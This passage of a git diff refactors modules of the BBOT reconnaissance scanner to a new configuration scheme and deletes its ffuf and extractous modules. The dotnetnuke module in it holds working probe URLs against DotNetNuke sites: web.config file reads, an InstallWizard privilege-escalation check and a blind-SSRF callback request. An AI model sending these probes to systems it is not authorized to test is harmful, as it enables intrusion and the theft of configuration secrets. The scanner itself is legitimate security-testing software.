-_caa_regex = r"^(?P<flags>[0-9]+) +(?P<property>\w+) +\"(?P<text>[^;\"]*);* *(?P<extensions>[^\"]*)\"$"
-caa_regex = re.compile(_caa_regex)
-
-_caa_extensions_kvp_regex = r"(?P<k>\w+)=(?P<v>[^;]+)"
-caa_extensions_kvp_regex = re.compile(_caa_extensions_kvp_regex)
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class dnscaa(BaseModule):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME", "EMAIL_ADDRESS", "URL_UNVERIFIED"]
-    flags = ["subdomain-enum", "email-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "email-enum", "passive"]
     meta = {"description": "Check for CAA records", "author": "@colin-stubbs", "created_date": "2024-05-26"}
-    options = {
-        "in_scope_only": True,
-        "dns_names": True,
-        "emails": True,
-        "urls": True,
-    }
-    options_desc = {
-        "in_scope_only": "Only check in-scope domains",
-        "dns_names": "emit DNS_NAME events",
-        "emails": "emit EMAIL_ADDRESS events",
-        "urls": "emit URL_UNVERIFIED events",
-    }
+
+    class Config(BaseModuleConfig):
+        in_scope_only: bool = Field(True, description="Only check in-scope domains")
+        dns_names: bool = Field(True, description="emit DNS_NAME events")
+        emails: bool = Field(True, description="emit EMAIL_ADDRESS events")
+        urls: bool = Field(True, description="emit URL_UNVERIFIED events")
+
     # accept DNS_NAMEs out to 2 hops if in_scope_only is False
     scope_distance_modifier = 2
 
@@ -78,42 +60,71 @@ async def filter_event(self, event):
     async def handle_event(self, event):
         tags = ["caa-record"]
 
-        r = await self.helpers.resolve_raw(event.host, type="caa")
-
-        if r:
-            raw_results, errors = r
-
-            for answer in raw_results:
-                s = answer.to_text().strip().replace('" "', "")
-
-                # validate CAA record vi regex so that we can determine what to do with it.
-                caa_match = caa_regex.search(s)
-
-                if caa_match and caa_match.group("flags") and caa_match.group("property") and caa_match.group("text"):
-                    # it's legit.
-                    if caa_match.group("property").lower() == "iodef":
-                        if self._emails:
-                            for match in email_regex.finditer(caa_match.group("text")):
-                                start, end = match.span()
-                                email = caa_match.group("text")[start:end]
-
-                                await self.emit_event(email, "EMAIL_ADDRESS", tags=tags, parent=event)
-
-                        if self._urls:
-                            for url_regex in url_regexes:
-                                for match in url_regex.finditer(caa_match.group("text")):
-                                    start, end = match.span()
-                                    url = caa_match.group("text")[start:end].strip('"').strip()
-
-                                    await self.emit_event(url, "URL_UNVERIFIED", tags=tags, parent=event)
-
-                    elif caa_match.group("property").lower().startswith("issue"):
-                        if self._dns_names:
-                            for match in dns_name_extraction_regex.finditer(caa_match.group("text")):
-                                start, end = match.span()
-                                name = caa_match.group("text")[start:end]
-
-                                await self.emit_event(name, "DNS_NAME", tags=tags, parent=event)
+        response = await self.helpers.dns.resolve_full(event.host, "CAA")
+
+        for answer in response.response.answers:
+            caa = answer.rdata.get("CAA")
+            if not isinstance(caa, dict):
+                continue
+
+            raw_tag = caa.get("tag")
+            # hickory wraps unrecognized CAA properties as {"Unknown": "name"}
+            if isinstance(raw_tag, dict):
+                raw_tag = raw_tag.get("Unknown", "")
+            if not isinstance(raw_tag, str):
+                continue
+            tag = raw_tag.lower()
+
+            value = caa.get("value") or {}
+            # hickory wraps unrecognized values as {"Unknown": [byte_array]}
+            if isinstance(value, dict) and isinstance(value.get("Unknown"), list):
+                try:
+                    value = {"raw_text": bytes(value["Unknown"]).decode()}
+                except (ValueError, UnicodeDecodeError):
+                    continue
+
+            # iodef -> "Url" containing mailto: or https:// for incident reporting
+            if tag == "iodef":
+                target = value.get("Url") if isinstance(value, dict) else None
+                if not target:
+                    continue
+                if self._emails:
+                    for match in email_regex.finditer(target):
+                        await self.emit_event(
+                            target[match.start() : match.end()], "EMAIL_ADDRESS", tags=tags, parent=event
+                        )
+                if self._urls:
+                    for url_regex in url_regexes:
+                        for match in url_regex.finditer(target):
+                            await self.emit_event(
+                                target[match.start() : match.end()].strip('"').strip(),
+                                "URL_UNVERIFIED",
+                                tags=tags,
+                                parent=event,
+                            )
+
+            # contactemail (RFC 8657) -> email for CA to contact domain owner
+            elif tag == "contactemail":
+                raw_text = value.get("raw_text") if isinstance(value, dict) else None
+                if raw_text and self._emails:
+                    for match in email_regex.finditer(raw_text):
+                        await self.emit_event(
+                            raw_text[match.start() : match.end()], "EMAIL_ADDRESS", tags=tags, parent=event
+                        )
+
+            # issue / issuewild -> "Issuer" containing the CA's domain
+            elif tag.startswith("issue"):
+                if not self._dns_names:
+                    continue
+                issuer = value.get("Issuer") if isinstance(value, dict) else None
+                # blastdns models this as ["domain", [extensions]]; an empty issuer
+                # ("explicit denial") resolves to None or [None, []]
+                if isinstance(issuer, (list, tuple)) and issuer and issuer[0]:
+                    name_text = str(issuer[0])
+                    for match in dns_name_extraction_regex.finditer(name_text):
+                        await self.emit_event(
+                            name_text[match.start() : match.end()], "DNS_NAME", tags=tags, parent=event
+                        )
 
 
 # EOF
diff --git a/bbot/modules/dnscommonsrv.py b/bbot/modules/dnscommonsrv.py
index d12932079b..36ce8fb89b 100644
--- a/bbot/modules/dnscommonsrv.py
+++ b/bbot/modules/dnscommonsrv.py
@@ -1,17 +1,22 @@
 from bbot.core.helpers.dns.helpers import common_srvs
 from bbot.modules.templates.subdomain_enum import subdomain_enum
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class dnscommonsrv(subdomain_enum):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "active", "safe"]
+    flags = ["safe", "subdomain-enum", "active"]
     meta = {"description": "Check for common SRV records", "created_date": "2022-05-15", "author": "@TheTechromancer"}
     dedup_strategy = "lowest_parent"
     deps_common = ["massdns"]
 
-    options = {"max_depth": 2}
-    options_desc = {"max_depth": "The maximum subdomain depth to brute-force SRV records"}
+    class Config(BaseModuleConfig):
+        max_depth: int = Field(2, description="The maximum subdomain depth to brute-force SRV records")
+        recursive_mutations: bool = Field(
+            False,
+            description="If True, brute-force SRV records on hosts discovered by dnsbrute_mutations. Default False skips them.",
+        )
 
     async def setup(self):
         self.max_subdomain_depth = self.config.get("max_depth", 2)
@@ -19,6 +24,8 @@ async def setup(self):
         return True
 
     async def filter_event(self, event):
+        if not self.config.get("recursive_mutations", True) and any(t.startswith("mutation-") for t in event.tags):
+            return False, "event was discovered by dnsbrute_mutations and recursive_mutations is False"
         subdomain_depth = self.helpers.subdomain_depth(event.host)
         if subdomain_depth > self.max_subdomain_depth:
             return False, f"its subdomain depth ({subdomain_depth}) exceeds max_depth={self.max_subdomain_depth}"
@@ -32,5 +39,5 @@ async def handle_event(self, event):
                 hostname,
                 "DNS_NAME",
                 parent=event,
-                context=f'{{module}} tried {self.num_srvs:,} common SRV records against "{query}" and found {{event.type}}: {{event.data}}',
+                context=f'{{module}} tried {self.num_srvs:,} common SRV records against "{query}" and found {{event.type}}: {{event.pretty_string}}',
             )
diff --git a/bbot/modules/dnsdumpster.py b/bbot/modules/dnsdumpster.py
index 2a5b7539b0..63fd34b596 100644
--- a/bbot/modules/dnsdumpster.py
+++ b/bbot/modules/dnsdumpster.py
@@ -6,7 +6,7 @@
 class dnsdumpster(subdomain_enum):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     meta = {
         "description": "Query dnsdumpster for subdomains",
         "created_date": "2022-03-12",
diff --git a/bbot/modules/dnstlsrpt.py b/bbot/modules/dnstlsrpt.py
index 2ccd6f676c..ead85169c5 100644
--- a/bbot/modules/dnstlsrpt.py
+++ b/bbot/modules/dnstlsrpt.py
@@ -15,11 +15,12 @@
 #   e.g. tlsrpt@%{UNIQUE_ID}%.hosted.service.provider is usually a tenant specific ID.
 
 from bbot.modules.base import BaseModule
-from bbot.core.helpers.dns.helpers import service_record
+from bbot.core.helpers.dns.helpers import record_to_text, service_record
 
 import re
 
 from bbot.core.helpers.regexes import email_regex, url_regexes
+from bbot.core.config.models import BaseModuleConfig, Field
 
 _tlsrpt_regex = r"^v=(?P<v>TLSRPTv[0-9]+); *(?P<kvps>.*)$"
 tlsrpt_regex = re.compile(_tlsrpt_regex, re.I)
@@ -34,22 +35,17 @@
 class dnstlsrpt(BaseModule):
     watched_events = ["DNS_NAME"]
     produced_events = ["EMAIL_ADDRESS", "URL_UNVERIFIED", "RAW_DNS_RECORD"]
-    flags = ["subdomain-enum", "cloud-enum", "email-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "cloud-enum", "email-enum", "passive"]
     meta = {
         "description": "Check for TLS-RPT records",
         "author": "@colin-stubbs",
         "created_date": "2024-07-26",
     }
-    options = {
-        "emit_emails": True,
-        "emit_raw_dns_records": False,
-        "emit_urls": True,
-    }
-    options_desc = {
-        "emit_emails": "Emit EMAIL_ADDRESS events",
-        "emit_raw_dns_records": "Emit RAW_DNS_RECORD events",
-        "emit_urls": "Emit URL_UNVERIFIED events",
-    }
+
+    class Config(BaseModuleConfig):
+        emit_emails: bool = Field(True, description="Emit EMAIL_ADDRESS events")
+        emit_raw_dns_records: bool = Field(False, description="Emit RAW_DNS_RECORD events")
+        emit_urls: bool = Field(True, description="Emit URL_UNVERIFIED events")
 
     async def setup(self):
         self.emit_emails = self.config.get("emit_emails", True)
@@ -77,62 +73,58 @@ async def handle_event(self, event):
         tags = ["tlsrpt-record"]
         hostname = f"_smtp._tls.{event.host}"
 
-        r = await self.helpers.resolve_raw(hostname, type=rdtype)
-
-        if r:
-            raw_results, errors = r
-            for answer in raw_results:
-                if self.emit_raw_dns_records:
-                    await self.emit_event(
-                        {"host": hostname, "type": rdtype, "answer": answer.to_text()},
-                        "RAW_DNS_RECORD",
-                        parent=event,
-                        tags=tags.append(f"{rdtype.lower()}-record"),
-                        context=f"{rdtype} lookup on {hostname} produced {{event.type}}",
-                    )
-
-                # we need to fix TXT data that may have been split across two different rdata's
-                # e.g. we will get a single string, but within that string we may have two parts such as:
-                # answer = '"part 1 that was really long" "part 2 that did not fit in part 1"'
-                # NOTE: the leading and trailing double quotes are essential as part of a raw DNS TXT record, or another record type that contains a free form text string as a component.
-                s = answer.to_text().strip('"').replace('" "', "")
-
-                # validate TLSRPT record, tag appropriately
-                tlsrpt_match = tlsrpt_regex.search(s)
-
-                if (
-                    tlsrpt_match
-                    and tlsrpt_match.group("v")
-                    and tlsrpt_match.group("kvps")
-                    and tlsrpt_match.group("kvps") != ""
-                ):
-                    for kvp_match in tlsrpt_kvp_regex.finditer(tlsrpt_match.group("kvps")):
-                        key = kvp_match.group("k").lower()
-
-                        if key == "rua":
-                            for csul_match in csul.finditer(kvp_match.group("v")):
-                                if csul_match.group("uri"):
-                                    for match in email_regex.finditer(csul_match.group("uri")):
+        response = await self.helpers.dns.resolve_full(hostname, rdtype)
+
+        for answer in response.response.answers:
+            text_answer = record_to_text(answer)
+            if self.emit_raw_dns_records:
+                await self.emit_event(
+                    {"host": hostname, "type": rdtype, "answer": text_answer},
+                    "RAW_DNS_RECORD",
+                    parent=event,
+                    tags=tags.append(f"{rdtype.lower()}-record"),
+                    context=f"{rdtype} lookup on {hostname} produced {{event.type}}",
+                )
+
+            # record_to_text already joins multi-string TXT records and omits dnspython-style quoting
+            s = text_answer
+
+            # validate TLSRPT record, tag appropriately
+            tlsrpt_match = tlsrpt_regex.search(s)
+
+            if (
+                tlsrpt_match
+                and tlsrpt_match.group("v")
+                and tlsrpt_match.group("kvps")
+                and tlsrpt_match.group("kvps") != ""
+            ):
+                for kvp_match in tlsrpt_kvp_regex.finditer(tlsrpt_match.group("kvps")):
+                    key = kvp_match.group("k").lower()
+
+                    if key == "rua":
+                        for csul_match in csul.finditer(kvp_match.group("v")):
+                            if csul_match.group("uri"):
+                                for match in email_regex.finditer(csul_match.group("uri")):
+                                    start, end = match.span()
+                                    email = csul_match.group("uri")[start:end]
+
+                                    if self.emit_emails:
+                                        await self.emit_event(
+                                            email,
+                                            "EMAIL_ADDRESS",
+                                            tags=tags.append(f"tlsrpt-record-{key}"),
+                                            parent=event,
+                                        )
+
+                                for url_regex in url_regexes:
+                                    for match in url_regex.finditer(csul_match.group("uri")):
                                         start, end = match.span()
-                                        email = csul_match.group("uri")[start:end]
+                                        url = csul_match.group("uri")[start:end]
 
-                                        if self.emit_emails:
+                                        if self.emit_urls:
                                             await self.emit_event(
-                                                email,
-                                                "EMAIL_ADDRESS",
+                                                url,
+                                                "URL_UNVERIFIED",
                                                 tags=tags.append(f"tlsrpt-record-{key}"),
                                                 parent=event,
                                             )
-
-                                    for url_regex in url_regexes:
-                                        for match in url_regex.finditer(csul_match.group("uri")):
-                                            start, end = match.span()
-                                            url = csul_match.group("uri")[start:end]
-
-                                            if self.emit_urls:
-                                                await self.emit_event(
-                                                    url,
-                                                    "URL_UNVERIFIED",
-                                                    tags=tags.append(f"tlsrpt-record-{key}"),
-                                                    parent=event,
-                                                )
diff --git a/bbot/modules/docker_pull.py b/bbot/modules/docker_pull.py
index 329f4db7e7..ff52fafacb 100644
--- a/bbot/modules/docker_pull.py
+++ b/bbot/modules/docker_pull.py
@@ -3,22 +3,25 @@
 import tarfile
 from pathlib import Path
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class docker_pull(BaseModule):
     watched_events = ["CODE_REPOSITORY"]
     produced_events = ["FILESYSTEM"]
-    flags = ["passive", "safe", "slow", "code-enum", "download"]
+    flags = ["safe", "passive", "slow", "code-enum", "download"]
     meta = {
         "description": "Download images from a docker repository",
         "created_date": "2024-03-24",
         "author": "@domwhewell-sage",
     }
-    options = {"all_tags": False, "output_folder": ""}
-    options_desc = {
-        "all_tags": "Download all tags from each registry (Default False)",
-        "output_folder": "Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage.",
-    }
+
+    class Config(BaseModuleConfig):
+        all_tags: bool = Field(False, description="Download all tags from each registry (Default False)")
+        output_folder: str = Field(
+            "",
+            description="Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage.",
+        )
 
     scope_distance_modifier = 2
 
@@ -49,7 +52,7 @@ async def filter_event(self, event):
         return True
 
     async def handle_event(self, event):
-        repo_url = event.data.get("url")
+        repo_url = event.url
         repo_path = await self.download_docker_repo(repo_url)
         if repo_path:
             self.verbose(f"Downloaded docker repository {repo_url} to {repo_path}")
diff --git a/bbot/modules/dockerhub.py b/bbot/modules/dockerhub.py
index 91cdc64ea5..c8fd2ce5cd 100644
--- a/bbot/modules/dockerhub.py
+++ b/bbot/modules/dockerhub.py
@@ -4,7 +4,7 @@
 class dockerhub(BaseModule):
     watched_events = ["SOCIAL", "ORG_STUB"]
     produced_events = ["SOCIAL", "CODE_REPOSITORY", "URL_UNVERIFIED"]
-    flags = ["passive", "safe", "code-enum"]
+    flags = ["safe", "passive", "code-enum"]
     meta = {
         "description": "Search for docker repositories of discovered orgs/usernames",
         "created_date": "2024-03-12",
@@ -43,7 +43,7 @@ async def handle_org_stub(self, event):
                     {"platform": "docker", "url": site_url, "profile_name": p},
                     "SOCIAL",
                     parent=event,
-                    context=f"{{module}} tried {event.type} {event.data} and found docker profile ({{event.type}}) at {p}",
+                    context=f"{{module}} tried {event.type} {event.pretty_string} and found docker profile ({{event.type}}) at {p}",
                 )
 
     async def handle_social(self, event):
diff --git a/bbot/modules/dotnetnuke.py b/bbot/modules/dotnetnuke.py
index 7e8b4d3d4e..b99a7eeca0 100644
--- a/bbot/modules/dotnetnuke.py
+++ b/bbot/modules/dotnetnuke.py
@@ -18,8 +18,8 @@ class dotnetnuke(BaseModule):
     }
 
     watched_events = ["HTTP_RESPONSE"]
-    produced_events = ["VULNERABILITY", "TECHNOLOGY"]
-    flags = ["active", "aggressive", "web-thorough"]
+    produced_events = ["FINDING", "TECHNOLOGY"]
+    flags = ["active", "loud", "invasive", "web-heavy"]
     meta = {
         "description": "Scan for critical DotNetNuke (DNN) vulnerabilities",
         "created_date": "2023-11-21",
@@ -47,16 +47,19 @@ async def interactsh_callback(self, r):
                 event = self.interactsh_subdomain_tags.get(full_id.split(".")[0])
                 if not event:
                     return
-                url = event.data["url"]
+                url = event.url
                 description = "DotNetNuke Blind-SSRF (CVE 2017-0929)"
                 await self.emit_event(
                     {
                         "severity": "MEDIUM",
+                        "confidence": "HIGH",
                         "host": str(event.host),
                         "url": url,
                         "description": description,
+                        "cves": ["CVE-2017-0929"],
+                        "name": "DotNetNuke Blind-SSRF",
                     },
-                    "VULNERABILITY",
+                    "FINDING",
                     event,
                     context=f"{{module}} scanned {url} and found medium {{event.type}}: {description}",
                 )
@@ -71,7 +74,7 @@ async def handle_event(self, event):
         if raw_headers:
             for header_signature in self.DNN_signatures_header:
                 if header_signature in raw_headers:
-                    url = event.data["url"]
+                    url = event.url
                     await self.emit_event(
                         {"technology": "DotNetNuke", "url": url, "host": str(event.host)},
                         "TECHNOLOGY",
@@ -80,22 +83,22 @@ async def handle_event(self, event):
                     )
                     detected = True
                     break
-        resp_body = event.data.get("body", None)
+        resp_body = event.body
         if resp_body:
             for body_signature in self.DNN_signatures_body:
                 if body_signature in resp_body:
                     await self.emit_event(
-                        {"technology": "DotNetNuke", "url": event.data["url"], "host": str(event.host)},
+                        {"technology": "DotNetNuke", "url": event.url, "host": str(event.host)},
                         "TECHNOLOGY",
                         event,
-                        context=f"{{module}} scanned {event.data['url']} and found {{event.type}}: DotNetNuke",
+                        context=f"{{module}} scanned {event.url} and found {{event.type}}: DotNetNuke",
                     )
                     detected = True
                     break
 
         if detected is True:
             # DNNPersonalization Deserialization Detection
-            for probe_url in [f"{event.data['url']}/__", f"{event.data['url']}/", f"{event.data['url']}"]:
+            for probe_url in [f"{event.url}/__", f"{event.url}/", f"{event.url}"]:
                 result = await self.helpers.request(probe_url, cookies=self.exploit_probe)
                 if result:
                     if "for 16-bit app support" in result.text and "[extensions]" in result.text:
@@ -103,11 +106,13 @@ async def handle_event(self, event):
                         await self.emit_event(
                             {
                                 "severity": "CRITICAL",
+                                "confidence": "CONFIRMED",
                                 "description": description,
                                 "host": str(event.host),
                                 "url": probe_url,
+                                "name": "DotNetNuke Cookie Deserialization",
                             },
-                            "VULNERABILITY",
+                            "FINDING",
                             event,
                             context=f"{{module}} scanned {probe_url} and found critical {{event.type}}: {description}",
                         )
@@ -115,7 +120,7 @@ async def handle_event(self, event):
             if "endpoint" not in event.tags:
                 # NewsArticlesSlider ImageHandler.ashx File Read
                 result = await self.helpers.request(
-                    f"{event.data['url']}/DesktopModules/dnnUI_NewsArticlesSlider/ImageHandler.ashx?img=~/web.config"
+                    f"{event.url}/DesktopModules/dnnUI_NewsArticlesSlider/ImageHandler.ashx?img=~/web.config"
                 )
                 if result:
                     if "<configuration>" in result.text:
@@ -123,18 +128,20 @@ async def handle_event(self, event):
                         await self.emit_event(
                             {
                                 "severity": "CRITICAL",
+                                "confidence": "CONFIRMED",
                                 "description": description,
+                                "name": "DotNetNuke Arbitrary File Read",
                                 "host": str(event.host),
-                                "url": f"{event.data['url']}/DesktopModules/dnnUI_NewsArticlesSlider/ImageHandler.ashx",
+                                "url": f"{event.url}/DesktopModules/dnnUI_NewsArticlesSlider/ImageHandler.ashx",
                             },
-                            "VULNERABILITY",
+                            "FINDING",
                             event,
-                            context=f"{{module}} scanned {event.data['url']} and found critical {{event.type}}: {description}",
+                            context=f"{{module}} scanned {event.url} and found critical {{event.type}}: {description}",
                         )
 
                 # DNNArticle GetCSS.ashx File Read
                 result = await self.helpers.request(
-                    f"{event.data['url']}/DesktopModules/DNNArticle/getcss.ashx?CP=%2fweb.config&smid=512&portalid=3"
+                    f"{event.url}/DesktopModules/DNNArticle/getcss.ashx?CP=%2fweb.config&smid=512&portalid=3"
                 )
                 if result:
                     if "<configuration>" in result.text:
@@ -142,45 +149,49 @@ async def handle_event(self, event):
                         await self.emit_event(
                             {
                                 "severity": "CRITICAL",
+                                "confidence": "CONFIRMED",
                                 "description": description,
+                                "name": "DotNetNuke Arbitrary File Read",
                                 "host": str(event.host),
-                                "url": f"{event.data['url']}/Desktopmodules/DNNArticle/GetCSS.ashx/?CP=%2fweb.config",
+                                "url": f"{event.url}/Desktopmodules/DNNArticle/GetCSS.ashx/?CP=%2fweb.config",
                             },
-                            "VULNERABILITY",
+                            "FINDING",
                             event,
-                            context=f"{{module}} scanned {event.data['url']} and found critical {{event.type}}: {description}",
+                            context=f"{{module}} scanned {event.url} and found critical {{event.type}}: {description}",
                         )
 
                 # InstallWizard SuperUser Privilege Escalation
-                result = await self.helpers.request(f"{event.data['url']}/Install/InstallWizard.aspx")
+                result = await self.helpers.request(f"{event.url}/Install/InstallWizard.aspx")
                 if result:
                     if result.status_code == 200:
                         result_confirm = await self.helpers.request(
-                            f"{event.data['url']}/Install/InstallWizard.aspx?__viewstate=1"
+                            f"{event.url}/Install/InstallWizard.aspx?__viewstate=1"
                         )
                         if result_confirm.status_code == 500:
                             description = "DotNetNuke InstallWizard SuperUser Privilege Escalation"
                             await self.emit_event(
                                 {
                                     "severity": "CRITICAL",
+                                    "confidence": "CONFIRMED",
                                     "description": description,
+                                    "name": "DotNetNuke Privilege Escalation",
                                     "host": str(event.host),
-                                    "url": f"{event.data['url']}/Install/InstallWizard.aspx",
+                                    "url": f"{event.url}/Install/InstallWizard.aspx",
                                 },
-                                "VULNERABILITY",
+                                "FINDING",
                                 event,
-                                context=f"{{module}} scanned {event.data['url']} and found critical {{event.type}}: {description}",
+                                context=f"{{module}} scanned {event.url} and found critical {{event.type}}: {description}",
                             )
                             return
 
                 # DNNImageHandler.ashx Blind SSRF
-                self.event_dict[event.data["url"]] = event
+                self.event_dict[event.url] = event
                 if self.interactsh_instance:
                     subdomain_tag = self.helpers.rand_string(4, digits=False)
                     self.interactsh_subdomain_tags[subdomain_tag] = event
 
                     await self.helpers.request(
-                        f"{event.data['url']}/DnnImageHandler.ashx?mode=file&url=http://{subdomain_tag}.{self.interactsh_domain}"
+                        f"{event.url}/DnnImageHandler.ashx?mode=file&url=http://{subdomain_tag}.{self.interactsh_domain}"
                     )
                 else:
                     self.debug(
diff --git a/bbot/modules/emailformat.py b/bbot/modules/emailformat.py
index e1d7d74aff..560d03c8ed 100644
--- a/bbot/modules/emailformat.py
+++ b/bbot/modules/emailformat.py
@@ -4,7 +4,7 @@
 class emailformat(BaseModule):
     watched_events = ["DNS_NAME"]
     produced_events = ["EMAIL_ADDRESS"]
-    flags = ["passive", "email-enum", "safe"]
+    flags = ["safe", "passive", "email-enum"]
     meta = {
         "description": "Query email-format.com for email addresses",
         "created_date": "2022-07-11",
@@ -43,5 +43,5 @@ async def handle_event(self, event):
                     email,
                     "EMAIL_ADDRESS",
                     parent=event,
-                    context=f'{{module}} searched email-format.com for "{query}" and found {{event.type}}: {{event.data}}',
+                    context=f'{{module}} searched email-format.com for "{query}" and found {{event.type}}: {{event.pretty_string}}',
                 )
diff --git a/bbot/modules/extractous.py b/bbot/modules/extractous.py
deleted file mode 100644
index c37be08008..0000000000
--- a/bbot/modules/extractous.py
+++ /dev/null
@@ -1,124 +0,0 @@
-from extractous import Extractor
-
-from bbot.modules.base import BaseModule
-
-
-class extractous(BaseModule):
-    watched_events = ["FILESYSTEM"]
-    produced_events = ["RAW_TEXT"]
-    flags = ["passive", "safe"]
-    meta = {
-        "description": "Module to extract data from files",
-        "created_date": "2024-06-03",
-        "author": "@domwhewell-sage",
-    }
-    options = {
-        "extensions": [
-            "bak",  #  Backup File
-            "bash",  #  Bash Script or Configuration
-            "bashrc",  #  Bash Script or Configuration
-            "conf",  #  Configuration File
-            "cfg",  #  Configuration File
-            "crt",  #  Certificate File
-            "csv",  #  Comma Separated Values File
-            "db",  #  SQLite Database File
-            "sqlite",  #  SQLite Database File
-            "doc",  #  Microsoft Word Document (Old Format)
-            "docx",  #  Microsoft Word Document
-            "ica",  #  Citrix Independent Computing Architecture File
-            "indd",  #  Adobe InDesign Document
-            "ini",  #  Initialization File
-            "json",  #  JSON File
-            "key",  #  Private Key File
-            "pub",  #  Public Key File
-            "log",  #  Log File
-            "markdown",  #  Markdown File
-            "md",  #  Markdown File
-            "odg",  #  OpenDocument Graphics (LibreOffice, OpenOffice)
-            "odp",  #  OpenDocument Presentation (LibreOffice, OpenOffice)
-            "ods",  #  OpenDocument Spreadsheet (LibreOffice, OpenOffice)
-            "odt",  #  OpenDocument Text (LibreOffice, OpenOffice)
-            "pdf",  #  Adobe Portable Document Format
-            "pem",  #  Privacy Enhanced Mail (SSL certificate)
-            "pps",  #  Microsoft PowerPoint Slideshow (Old Format)
-            "ppsx",  #  Microsoft PowerPoint Slideshow
-            "ppt",  #  Microsoft PowerPoint Presentation (Old Format)
-            "pptx",  #  Microsoft PowerPoint Presentation
-            "ps1",  #  PowerShell Script
-            "rdp",  #  Remote Desktop Protocol File
-            "rsa",  #  RSA Private Key File
-            "sh",  #  Shell Script
-            "sql",  #  SQL Database Dump
-            "swp",  #  Swap File (temporary file, often Vim)
-            "sxw",  #  OpenOffice.org Writer document
-            "txt",  #  Plain Text Document
-            "vbs",  #  Visual Basic Script
-            "wpd",  #  WordPerfect Document
-            "xls",  #  Microsoft Excel Spreadsheet (Old Format)
-            "xlsx",  #  Microsoft Excel Spreadsheet
-            "xml",  #  eXtensible Markup Language File
-            "yml",  #  YAML Ain't Markup Language
-            "yaml",  #  YAML Ain't Markup Language
-        ],
-    }
-    options_desc = {
-        "extensions": "File extensions to parse",
-    }
-
-    deps_pip = ["extractous~=0.3.0"]
-    scope_distance_modifier = 1
-
-    async def setup(self):
-        self.extensions = list({e.lower().strip(".") for e in self.config.get("extensions", [])})
-        return True
-
-    async def filter_event(self, event):
-        if "file" in event.tags:
-            if not any(event.data["path"].endswith(f".{ext}") for ext in self.extensions):
-                return False, "File extension not in the allowed list"
-        else:
-            return False, "Event is not a file"
-        return True
-
-    async def handle_event(self, event):
-        file_path = event.data["path"]
-        content = await self.scan.helpers.run_in_executor_mp(extract_text, file_path)
-        if isinstance(content, tuple):
-            error, traceback = content
-            self.error(f"Error extracting text from {file_path}: {error}")
-            self.trace(traceback)
-            return
-
-        if content:
-            raw_text_event = self.make_event(
-                content,
-                "RAW_TEXT",
-                context=f"Extracted text from {file_path}",
-                parent=event,
-            )
-            await self.emit_event(raw_text_event)
-
-
-def extract_text(file_path):
-    """
-    extract_text Extracts plaintext from a document path using extractous.
-
-    :param file_path: The path of the file to extract text from.
-    :return: ASCII-encoded plaintext extracted from the document.
-    """
-
-    try:
-        extractor = Extractor()
-        reader, metadata = extractor.extract_file(str(file_path))
-
-        result = ""
-        buffer = reader.read(4096)
-        while len(buffer) > 0:
-            result += buffer.decode("utf-8", errors="ignore")
-            buffer = reader.read(4096)
-
-        return result.strip()
-    except Exception as e:
-        import traceback
-
-        return (str(e), traceback.format_exc())
diff --git a/bbot/modules/ffuf.py b/bbot/modules/ffuf.py
deleted file mode 100644
index 038aa5d268..0000000000
--- a/bbot/modules/ffuf.py
+++ /dev/null
@@ -1,358 +0,0 @@
-from bbot.modules.base import BaseModule
-
-import random
-import string
-import json
-import base64
-
-
-class ffuf(BaseModule):
-    watched_events = ["URL"]
-    produced_events = ["URL_UNVERIFIED"]
-    flags = ["aggressive", "active", "deadly"]
-    meta = {"description": "A fast web fuzzer written in Go", "created_date": "2022-04-10", "author": "@liquidsec"}
-
-    options = {
-        "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt",
-        "lines": 5000,
-        "max_depth": 0,
-        "extensions": "",
-        "ignore_case": False,
-        "rate": 0,
-    }
-
-    options_desc = {
-        "wordlist": "Specify wordlist to use when finding directories",
-        "lines": "take only the first N lines from the wordlist when finding directories",
-        "max_depth": "the maximum directory depth to attempt to solve",
-        "extensions": "Optionally include a list of extensions to extend the keyword with (comma separated)",
-        "ignore_case": "Only put lowercase words into the wordlist",
-        "rate": "Rate of requests per second (default: 0)",
-    }
-
-    deps_common = ["ffuf"]
-
-    banned_characters = {" "}
-    blacklist = ["images", "css", "image"]
-
-    in_scope_only = True
-
-    async def setup_deps(self):
-        self.wordlist = await self.helpers.wordlist(self.config.get("wordlist"))
-        return True
-
-    async def setup(self):
-        self.proxy = self.scan.web_config.get("http_proxy", "")
-        self.canary = "".join(random.choice(string.ascii_lowercase) for i in range(10))
-        wordlist_url = self.config.get("wordlist", "")
-        self.debug(f"Using wordlist [{wordlist_url}]")
-        self.wordlist_lines = self.generate_wordlist(self.wordlist)
-        self.tempfile, tempfile_len = self.generate_templist()
-        self.rate = self.config.get("rate", 0)
-        self.verbose(f"Generated dynamic wordlist with length [{str(tempfile_len)}]")
-        try:
-            self.extensions = self.helpers.chain_lists(self.config.get("extensions", ""), validate=True)
-            self.debug(f"Using custom extensions: [{','.join(self.extensions)}]")
-        except ValueError as e:
-            self.warning(f"Error parsing extensions: {e}")
-            return False
-        return True
-
-    async def handle_event(self, event):
-        if self.helpers.url_depth(event.data) > self.config.get("max_depth"):
-            self.debug("Exceeded max depth, aborting event")
-            return
-
-        # only FFUF against a directory
-        if "." in event.parsed_url.path.split("/")[-1]:
-            self.debug("Aborting FFUF as period was detected in right-most path segment (likely a file)")
-            return
-        else:
-            # if we think its a directory, normalize it.
-            fixed_url = event.data.rstrip("/") + "/"
-
-        exts = ["", "/"]
-        if self.extensions:
-            for ext in self.extensions:
-                exts.append(f".{ext}")
-
-        filters = await self.baseline_ffuf(fixed_url, exts=exts)
-        async for r in self.execute_ffuf(self.tempfile, fixed_url, exts=exts, filters=filters):
-            await self.emit_event(
-                r["url"],
-                "URL_UNVERIFIED",
-                parent=event,
-                tags=[f"status-{r['status']}"],
